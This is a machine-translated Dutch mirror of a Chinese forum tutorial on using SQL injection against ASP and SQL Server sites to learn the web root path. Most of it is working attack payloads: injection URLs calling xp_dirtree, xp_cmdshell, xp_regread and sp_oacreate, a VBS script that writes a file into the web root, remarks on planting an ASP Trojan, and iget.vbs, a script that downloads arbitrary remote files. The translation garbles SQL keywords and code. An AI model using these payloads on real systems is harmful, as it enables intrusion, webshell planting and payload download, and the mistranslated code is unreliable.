Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 11906|Antwoord: 0

[Veiligheidstutorial] SQL-injectie om het volledige websitepad te verkrijgen

[Link kopiëren]
Geplaatst op 07-02-2015 22:19:16 | | |
SQL-injectie om het volledige websitepad te verkrijgen

Als de website slechts 80 poorten heeft, zul je de volgende methoden nuttiger vinden
Bijna alle gebruikte methoden zijn niet wat ik ontdekte, en het artikel bevat altijd persoonlijke ervaring en vaardigheden bij het injecteren
Er zijn 4 methoden (nu bekend)

Eerste methode:

Dit is de <怪异的SQL注入>methode die in < > werd geïntroduceerd
Met behulp van de xp_dirtree van SQL Server bespreken we eerst de methode, en daarna de voor- en nadelen (sommige toevoegingen zijn gebaseerd op de oorspronkelijke tekst)

Tabellen aanmaken

Verklaring:http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(paden varchar(1000))--
Achteruit: Normale informatie! Het betekent dat de tabel succesvol is aangemaakt! Ga door!
(De gebouwde is iets groter dan het origineel, omdat ik een bestand met een lange naam ben tegengekomen en de id heb verwijderd omdat het nutteloos is)

Verklaring:http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Exec master.dbo.xp_dirtree 'C:\' --
Retouren: Normale informatie. Het betekent dat alle mappen die naar de C-schijf zijn geschreven succesvol zijn! Cool! De volgende stap is om de meter te halen! Overtreed het en kom naar buiten. (Het lijkt erop dat er maar één manier is om dit te doen)

Verklaring:http://www.xxxxx.com/down/list.asp?id=1  en 0<> (selecteer top 1 paden van dirs)-
Retourneert: Microsoft OLE DB Provider for SQL Server fout 80040e07
Syntaxisfout treedt op bij het omzetten van de varchar-waarde '@Inetpub' naar een kolom met datatype int.

Daarna worden de mapnamen in de tabel om de beurt weer uitgebracht!

Verklaring:http:// http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1 paden uit
dirs waar paden niet in( '@Inetpub'))--
Retourneert: Microsoft OLE DB Provider for SQL Server fout 80040e07
Syntaxisfout trad op bij het omzetten van de varchar-waarde 'test' naar een kolom met datatype int.

Daarna worden de mapnamen in de tabel om de beurt weer uitgebracht!
Oké, laten we doorgaan

Verklaring:http:// http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1 paden uit
Dirs waar paden niet in( '@Inetpub', 'test'))--
Retourneert: Microsoft OLE DB Provider for SQL Server fout 80040e07
Syntaxisfout treedt op bij het omzetten van de varchar-waarde 'haha' naar een kolom met datatype int.

Daarna worden de mapnamen in de tabel om de beurt weer uitgebracht!

Oké, je zou moeten weten hoe je het moet doen, haha, voeg gewoon de naam van de tafel die je krijgt toe aan die haakjes, zet er zoveel als je wilt,

Een klein trucje:

Soms zul je merken dat wanneer de input vergelijkbaar is

http://www.xxxxx.com/down/list.asp?id=1  en 0<> (selecteer top 1 paden van dirs)-

In plaats van een foutmelding te tonen, wordt de webpagina normaal weergegeven
Duizelig, wees niet nerveus
Kijk naar 0<> (selecteer de bovenste 1-paden uit de dirs) om te laten zien dat de return een getal is,
Haha, test het eens en kijk hoeveel het kost

100> (selecteer top 1 paden van dirs)

Terug naar normaal
Haha, met deze methode kun je snel raden van meer dan of minder
Oké, laten we doorgaan
Bijvoorbeeld, wanneer het verschijnt

59=(selecteer top 1 paden van dirs)

Keer terug naar normaal,
Oké, de naam is 59
Voer als volgt in

http:// http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1 paden uit
Dirs waar paden niet in( '59'))--

Vergeet niet aanhalingstekens te zetten
De volgende methode is hetzelfde als de oorspronkelijke
Er is ook een probleem
Soms, als ik 59 invoer met bovenstaande methode, merk ik dat de volgende map nog steeds 59 is
Wat gebeurt er?
Hehe, ik weet niet of je hebt gemerkt dat 059 en 59 hetzelfde zijn?
Daarom haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1 paden uit
Dirs waar paden niet in( '059'))--

Ik heb gemerkt dat de naam van de volgende map wordt weergegeven, oké

Analyse van voor- en nadeels:

Het voordeel is dat alle sqlservergebruikers het kunnen gebruiken, omdat xp_dirtree de machtiging PUBLIC toepast,
Het nadeel is dat het de namen van alle mappen in de map weergeeft, en de indeling lijkt niet in volgorde te zijn; kortom, het is lastig om de map te vinden die je wilt in duizenden of tienduizenden mappen.
En je weet dat het hebben van die map niet gegarandeerd in de rootmap staat, wat echt pijnlijk is, vaak hangt het af van geluk en doorzettingsvermogen.
Ik wens je succes

Methode 2:

Gebruik xp_cmdshell

Haha, iedereen kent dit vast wel, laat me het kort zeggen

Tabellen aanmaken

Verklaring:http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(paden varchar(1000))--
Achteruit: Normale informatie! Het betekent dat de tabel succesvol is aangemaakt! Ga door!
(De gebouwde is iets groter dan het origineel, omdat ik een bestand met een lange naam ben tegengekomen en dat id heb verwijderd omdat het nutteloos is.)

Verklaring:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Retouren: Normale informatie. Het betekent dat alle mappen die naar de C-schijf zijn geschreven succesvol zijn! dir c:\ /B/D wordt hier gebruikt, haha, als je niet weet wat /B/D doet, probeer dan te zien wat het doet

Verklaring:http://www.xxxxx.com/down/list.asp?id=1  en 0<> (selecteer top 1 paden van dirs)-
Retourneert: Microsoft OLE DB Provider for SQL Server fout 80040e07
Syntaxisfout treedt op bij het omzetten van de varchar-waarde '@Inetpub' naar een kolom met datatype int.

Daarna worden de mapnamen in de tabel om de beurt weer uitgebracht!

Verklaring:http:// http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1 paden uit
dirs waar paden niet in( '@Inetpub'))--
Retourneert: Microsoft OLE DB Provider for SQL Server fout 80040e07
Syntaxisfout trad op bij het omzetten van de varchar-waarde 'test' naar een kolom met datatype int.

Daarna worden de mapnamen in de tabel om de beurt weer uitgebracht!

De methode is hetzelfde als hierboven, dus ik zal er niet over praten

Soms kunnen we ook iets doen met de volgende twee uitbreidingen

1) We kunnen xp_availablemedia gebruiken om alle huidige schijven te krijgen en op te slaan in de dirs-tabel:

5 ; Insert dirs executive master.dbo.xp_availablemedia; --

We kunnen de lijst met schijven en gerelateerde informatie krijgen door de inhoud van temp op te vragen

(2) We kunnen xp_subdirs gebruiken om de lijst met subdirectories te krijgen en deze op te slaan in de dirs-tabel:

5 ; Invoegen in DIRS exec master.dbo.xp_subdirs 'c:\' ; --

Analyse van voor- en nadeels:

Dit zal natuurlijk niet xp_dirtree dat alle mappen samen staan; alleen de directory op het eerste niveau wordt weergegeven, wat veel makkelijker te vinden is.
De nadelen zijn ook duidelijk: alleen SA heeft deze toestemming, en het is ook mogelijk dat de beheerder deze extensie heeft verwijderd (het is tenslotte te krachtig).

Methode 3:

Deze aanpak is goed
Het volgende is de oorspronkelijke tekst
Ik dacht eraan om het adsutil.vbs-programma te gebruiken, dat ik heb uitgevoerd

a'; Uitvoerend meester.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Is het niet lang? Via deze website kunnen we de eerste virtuele website in IIS opzetten (inclusief de daadwerkelijke directory waar deze zich bevindt, natuurlijk)
Importeren in a.txt
De standaard voor de daadwerkelijke locatie van de a.txt is natuurlijk c:\winnt\system32, wat eigenlijk geen probleem is, maar wanneer je een beheerder tegenkomt die adsutil.vbs instelt
Verwijder het of zet het ergens anders neer
We kunnen er niets aan doen (je kunt er zelf geen schrijven met het echo-commando).

Stap 2: Gebruik het echo-commando om de volgende code in c:\ te schrijven, wat niet veel is

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
doe terwijl niet fil.atendofstream
nr=fil.readline
als links(nr,4)="Pad" dan
Pa=Mid(nr,Instr(nr,"" 3,Len(Nr)-Instr(nr,""-3)
Exit Do
einde als
lus
set fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,True)
fil1.writeline ""
---------------Knip hier-------------------------------------

Stap 3: Natuurlijk is het uitvoeren van read.vbs, zodat we de inhoud in de aa.txt kunnen lezen en het daadwerkelijke pad van de website kunnen vinden
Schrijf vervolgens een bestand genaamd dd.asp in de rootmap van de website, en je weet of je het succesvol kunt proberen
executerenhttp://x.x.x.x/dd.asp
Retouren: \xxx
Haha, het is een goede manier,
De oorspronkelijke tekst lijkt echter enkele problemen te hebben
Dat is het wel

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Fout treedt op wanneer twee zinnen worden ingediend
Dus bedachten we het plusteken, dat dezelfde functie heeft als &
En waar moet ik over schrijven dd.asp? Schrijf naar pa, haha
Haha, ik heb het veranderd

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt"
doe terwijl niet fil.atendofstream
nr=fil.readline
als links(nr,4)="Pad" dan
Pa=Mid(nr,Instr(nr,"" 3,Len(Nr)-Instr(nr,""-3)
Exit Do
einde als
lus
set fil1 =FSO1.OpenTextFile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------Knip hier--------------------------------------
Omdat het tijdsgetal bij het indienen in een browser wordt omgezet in een spatiënt, moet je ook de
Het wordt %2B, oké, het zou goed moeten zijn, als volgt,
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
doe terwijl niet fil.atendofstream
nr=fil.readline
als links(nr,4)="Pad" dan
Pa=Mid(nr,Instr(nr,"" 3,Len(Nr)-Instr(nr,""-3)
Exit Do
einde als
lus
set fil1 =FSO1.OpenTextFile(PA %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Knip hier--------------------------------------

Als we ontdekken dat 1 er niet is, kunnen we 2, 3, 4 worden...........

a'; Uitvoerend meester.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Maar deze methode kan alleen worden gebruikt onder Windows 2000, omdat de adressen van nieuw aangemaakte websites onder 2003 niet volgens 1234 zijn gerangschikt, het lijkt willekeurig gegenereerd te zijn, en ik heb er verschillende vergeleken onder 2003
Adres, geen regelmaat gevonden.

Analyse van voor- en nadeels:

Hetzelfde geldt xp_cmdshell Niet elke gebruiker kan het gebruiken! Een ander probleem is dat het adsutil-bestand niet per se bestaat, of niet per se in dat pad zit, hoewel je het kunt gebruiken als je dat wilt.
Echo schrijft er één (haha, oud en oud), en een andere vraag is: wat als er veel sites op de host staan? Ik heb een host ontmoet met negen sites, en alleen de achtste is nuttig
Ja, flauw, het is moeilijk voor iemand om het geduld te hebben om zo vol te houden, misschien is het allang ingestort. Ook kan het in 2003 niet gebruikt worden!
Maar eerlijk gezegd is deze methode inderdaad een goede methode

Methode 4:

Deze methode is om het pad uit het register te lezen via xp_regread enzovoort
Het volgende wordt aanbevolen om het webpaginapad te verkrijgen (lees het register via stored procedures):
Gebruik de ingebouwde opgeslagen procedure xp_regread (read registry key, permission public):

Verklaring: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declareren@test
Varchar(20) uitvoerend meester.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT voeg in paden
(pad) waarden(@test)

IIS standaardpad in het register HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Gebruik het burst-veld om de waarde van de database uit te lezen:

Statement: http://www.xxx.com/list.asp?classid=1 en 0<>(selecteer de top 1 paden uit newtable)--return: Microsoft OLE DB Provider voor
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] zet varchar-waarde E:\www,,201 om in een datatype int
kolom.

Dit betekent dat de webpaginamap in E:\www staat, en je kunt ook FSO gebruiken om direct naar de ASP Trojan te schrijven
Wat als je geen webdirectory kunt krijgen? Je moet raden of de website het standaard WEB gebruikt of de domeinnaam als het WEB.

declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Maak een virtuele directory E aan onder de standaard WEB-site, waarbij E: onder schijf wordt aangeduid.

declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Het is goed om browse-attributen toe te voegen aan de virtuele directory, bijvoorbeeld. Open een virtuele dienst voor jezelf. Als ik aan die webpagina-directorypaden denk, is mijn hoofd bijna kapot. Nu heb ik mijn ogen geopend. Dat is de WEBSHELL die MS gebruikt
SQL is het einde van ons werk, en de volgende baan zou van jou moeten zijn.
Haha, de methode is goed, lees het via het registratieformulier, handig en snel!

Analyse van voor- en nadeels:

Het voordeel is natuurlijk dat het handig en snel is. Het nadeel is dat je alleen het pad van de standaard IIS-site kunt zien, en als het niet langer de standaardsite is, kun je niets meer doen (ik heb het gevolgd met regsnape), als het onder 2003 is
Dat wil zeggen, zelfs het standaard sitepad wordt niet weergegeven! In pijn

Overigens zijn er in feite andere manieren om de inbraak voort te zetten dan het vinden van het websitepad, zoals het uploaden van de bounce Trojan via tftp, of het schrijven van een iget.vbs om de dongdong te downloaden die je wilt
De iget.vbs-code is als volgt:

---------Begin----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------einde-----------

Aanvulling op dit artikel:

Onlangs merkte ik dat mijn begrip van de instructies van voorzitter Mao niet diep genoeg was, en ik wil hier graag aan toevoegen
In feite hoeven bovenstaande methoden helemaal niet vergeleken te worden xp_dirtree ze zijn de beste, zolang deze ene methode maar voldoende is
Het is gewoon omdat ik te ..............
Vandaag zal ik het geheim van xp_dirtree weer opgraven
Oké, laten we uitvoerend meester zijn: xp_dirtree'd:/test'
Stel dat we twee mappen in test hebben, test1 en test2, en test3 in test1
De resultaten tonen

subdirectorydiepte
Test1 1
test3 2
Test21

Haha, ik heb ontdekt dat er geen diepgang is die de reeks van de directory is
Oké, weet wat je moet doen

http://www.xxxxx.com/down/list.asp?id=1;create  Tabel dirs(Paths Varchar(1000), ID int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Executive master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  en 0<>(selecteer de top 1-paden uit dirs waarbij id=1)-

Zolang id=1 wordt toegevoegd, is het de directory op het eerste niveau.





Vorig:Intrusiepenetratie: Toepassing van HTTP-headers
Volgend:Alipay-overdrachtsscreenshots worden met één klik gegenereerd
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com